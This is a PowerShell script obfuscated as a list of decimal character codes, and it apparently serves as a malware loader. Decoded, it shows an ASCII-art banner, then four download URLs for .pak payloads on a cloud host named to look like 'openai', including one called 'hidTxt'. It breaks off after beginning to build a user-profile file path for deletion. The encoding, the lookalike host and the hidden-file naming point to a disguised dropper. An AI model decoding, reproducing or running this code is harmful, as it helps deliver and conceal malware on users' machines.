64, 64, 64, 32, 32, 32, 32, 64, 32, 32, 32, 32, 32, 32, 32, 32, 64, 32, 32, 32, 45, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 46, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 64, 32, 32, 32, 32, 32, 32, 64, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 45, 32, 32, 32, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 37, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 58, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 42, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 37, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 43, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 95, 95, 95, 95, 95, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 95, 95, 95, 95, 95, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 95, 95, 95, 95, 95, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 95, 95, 95, 95, 95, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 95, 95, 95, 95, 95, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 92, 95, 95, 95, 95, 92, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 58, 124, 32, 32, 32, 124, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 58, 58, 124, 32, 32, 32, 124, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 47, 58, 58, 58, 47, 92, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 47, 92, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 47, 92, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 58, 58, 58, 124, 32, 32, 32, 124, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 47, 58, 58, 58, 47, 95, 95, 92, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 47, 95, 95, 92, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 47, 95, 95, 92, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 47, 124, 58, 58, 124, 32, 32, 32, 124, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 58, 92, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 58, 92, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 47, 32, 124, 58, 58, 124, 32, 32, 32, 124, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 95, 95, 95, 92, 58, 58, 58, 92, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 47, 58, 58, 58, 58, 58, 58, 92, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 47, 58, 58, 58, 58, 58, 58, 92, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 47, 58, 58, 58, 47, 32, 32, 124, 58, 58, 124, 95, 95, 95, 124, 95, 95, 95, 95, 95, 95, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 47, 92, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 47, 92, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 47, 58, 58, 58, 47, 92, 58, 58, 58, 92, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 47, 58, 58, 58, 47, 92, 58, 58, 58, 92, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 47, 58, 58, 58, 47, 32, 32, 32, 124, 58, 58, 58, 58, 58, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 47, 58, 58, 92, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 92, 58, 58, 58, 92, 95, 95, 95, 95, 92, 32, 32, 32, 32, 47, 58, 58, 58, 47, 32, 32, 92, 58, 58, 58, 92, 95, 95, 95, 95, 92, 47, 58, 58, 58, 47, 95, 95, 92, 58, 58, 58, 92, 32, 32, 32, 92, 58, 58, 58, 92, 95, 95, 95, 95, 92, 47, 58, 58, 58, 47, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 92, 58, 58, 58, 92, 95, 95, 95, 95, 92, 47, 58, 58, 58, 47, 32, 32, 32, 32, 124, 58, 58, 58, 58, 58, 58, 58, 58, 58, 92, 95, 95, 95, 95, 92, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 92, 58, 58, 58, 92, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 92, 58, 58, 47, 32, 32, 32, 32, 47, 32, 32, 32, 47, 58, 58, 58, 47, 32, 32, 32, 32, 92, 58, 58, 47, 32, 32, 32, 32, 47, 92, 58, 58, 58, 92, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 92, 58, 58, 47, 32, 32, 32, 32, 47, 92, 58, 58, 47, 32, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 47, 58, 58, 58, 47, 32, 32, 32, 32, 47, 92, 58, 58, 47, 32, 32, 32, 32, 47, 32, 126, 126, 126, 126, 126, 47, 58, 58, 58, 47, 32, 32, 32, 32, 47, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 92, 58, 58, 58, 92, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 92, 47, 95, 95, 95, 95, 47, 32, 32, 32, 47, 58, 58, 58, 47, 32, 32, 32, 32, 47, 32, 92, 47, 95, 95, 95, 95, 47, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 92, 47, 95, 95, 95, 95, 47, 32, 32, 92, 47, 95, 95, 95, 95, 47, 32, 92, 58, 58, 58, 92, 47, 58, 58, 58, 47, 32, 32, 32, 32, 47, 32, 32, 92, 47, 95, 95, 95, 95, 47, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 47, 32, 32, 32, 32, 47, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 47, 32, 32, 32, 32, 47, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 92, 58, 58, 58, 58, 58, 58, 47, 32, 32, 32, 32, 47, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 47, 32, 32, 32, 32, 47, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 92, 58, 58, 58, 92, 95, 95, 95, 95, 92, 32, 32, 32, 32, 47, 58, 58, 58, 47, 32, 32, 32, 32, 47, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 92, 58, 58, 58, 92, 95, 95, 95, 95, 92, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 92, 58, 58, 58, 58, 47, 32, 32, 32, 32, 47, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 47, 32, 32, 32, 32, 47, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 47, 58, 58, 58, 47, 32, 32, 32, 32, 47, 32, 32, 32, 32, 92, 58, 58, 47, 32, 32, 32, 32, 47, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 92, 58, 58, 47, 32, 32, 32, 32, 47, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 47, 32, 32, 32, 32, 47, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 47, 32, 32, 32, 32, 47, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 92, 58, 58, 58, 92, 47, 58, 58, 58, 47, 32, 32, 32, 32, 47, 32, 32, 32, 32, 32, 32, 92, 47, 95, 95, 95, 95, 47, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 92, 47, 95, 95, 95, 95, 47, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 47, 32, 32, 32, 32, 47, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 47, 32, 32, 32, 32, 47, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 92, 58, 58, 58, 58, 58, 58, 47, 32, 32, 32, 32, 47, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 92, 58, 58, 58, 92, 32, 32, 32, 32, 92, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 47, 32, 32, 32, 32, 47, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 47, 32, 32, 32, 32, 47, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 92, 58, 58, 58, 58, 47, 32, 32, 32, 32, 47, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 92, 58, 58, 58, 92, 95, 95, 95, 95, 92, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 47, 32, 32, 32, 32, 47, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 58, 58, 58, 47, 32, 32, 32, 32, 47, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 92, 58, 58, 47, 32, 32, 32, 32, 47, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 92, 58, 58, 47, 32, 32, 32, 32, 47, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 92, 58, 58, 47, 32, 32, 32, 32, 47, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 92, 58, 58, 47, 32, 32, 32, 32, 47, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 92, 47, 95, 95, 95, 95, 47, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 92, 47, 95, 95, 95, 95, 47, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 92, 47, 95, 95, 95, 95, 47, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 92, 47, 95, 95, 95, 95, 47, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 10, 10, 10, 36, 107, 98, 50, 53, 48, 90, 105, 112, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 111, 112, 101, 110, 97, 105, 45, 55, 53, 48, 53, 48, 46, 103, 122, 99, 46, 118, 111, 100, 46, 116, 101, 110, 99, 101, 110, 116, 45, 99, 108, 111, 117, 100, 46, 99, 111, 109, 47, 111, 112, 101, 110, 97, 105, 97, 115, 115, 101, 116, 115, 95, 53, 50, 98, 50, 100, 55, 51, 48, 56, 101, 100, 55, 53, 102, 56, 97, 48, 56, 99, 48, 50, 55, 50, 98, 56, 102, 101, 52, 101, 50, 98, 102, 95, 50, 53, 55, 57, 56, 54, 49, 55, 49, 51, 52, 50, 48, 52, 56, 49, 53, 48, 52, 46, 112, 97, 107, 34, 10, 36, 104, 105, 100, 84, 120, 116, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 111, 112, 101, 110, 97, 105, 45, 55, 53, 48, 53, 48, 46, 103, 122, 99, 46, 118, 111, 100, 46, 116, 101, 110, 99, 101, 110, 116, 45, 99, 108, 111, 117, 100, 46, 99, 111, 109, 47, 111, 112, 101, 110, 97, 105, 97, 115, 115, 101, 116, 115, 95, 56, 97, 102, 53, 52, 49, 51, 49, 102, 100, 99, 102, 102, 48, 53, 57, 98, 101, 52, 49, 50, 56, 50, 97, 49, 98, 97, 102, 51, 102, 97, 53, 95, 50, 53, 55, 57, 56, 54, 49, 55, 49, 49, 54, 51, 50, 53, 52, 56, 50, 56, 54, 46, 112, 97, 107, 34, 10, 36, 97, 112, 112, 100, 97, 116, 97, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 111, 112, 101, 110, 97, 105, 45, 55, 53, 48, 53, 48, 46, 103, 122, 99, 46, 118, 111, 100, 46, 116, 101, 110, 99, 101, 110, 116, 45, 99, 108, 111, 117, 100, 46, 99, 111, 109, 47, 111, 112, 101, 110, 97, 105, 97, 115, 115, 101, 116, 115, 95, 102, 100, 56, 99, 97, 97, 55, 55, 102, 50, 56, 52, 57, 98, 99, 51, 101, 54, 102, 54, 54, 100, 56, 97, 100, 48, 53, 100, 97, 54, 53, 98, 95, 50, 53, 55, 57, 56, 54, 49, 55, 49, 49, 54, 51, 50, 49, 53, 52, 52, 48, 55, 46, 112, 97, 107, 34, 10, 36, 122, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 111, 112, 101, 110, 97, 105, 45, 55, 53, 48, 53, 48, 46, 103, 122, 99, 46, 118, 111, 100, 46, 116, 101, 110, 99, 101, 110, 116, 45, 99, 108, 111, 117, 100, 46, 99, 111, 109, 47, 111, 112, 101, 110, 97, 105, 97, 115, 115, 101, 116, 115, 95, 56, 50, 50, 102, 55, 54, 53, 98, 52, 53, 102, 55, 55, 97, 101, 53, 57, 101, 55, 99, 54, 48, 57, 49, 101, 54, 57, 101, 51, 56, 49, 52, 95, 50, 53, 55, 57, 56, 54, 49, 55, 49, 49, 54, 51, 50, 55, 52, 50, 52, 53, 56, 46, 112, 97, 107, 34, 10, 10, 10, 10, 10, 116, 114, 121, 10, 123, 10, 10, 32, 32, 32, 32, 36, 102, 105, 108, 101, 80, 97, 116, 104, 84, 111, 68, 101, 108, 101, 116, 101, 32, 61, 32, 74, 111, 105, 110, 45, 80, 97, 116, 104, 32, 36, 101, 110, 118, 58, 85, 83, 69, 82, 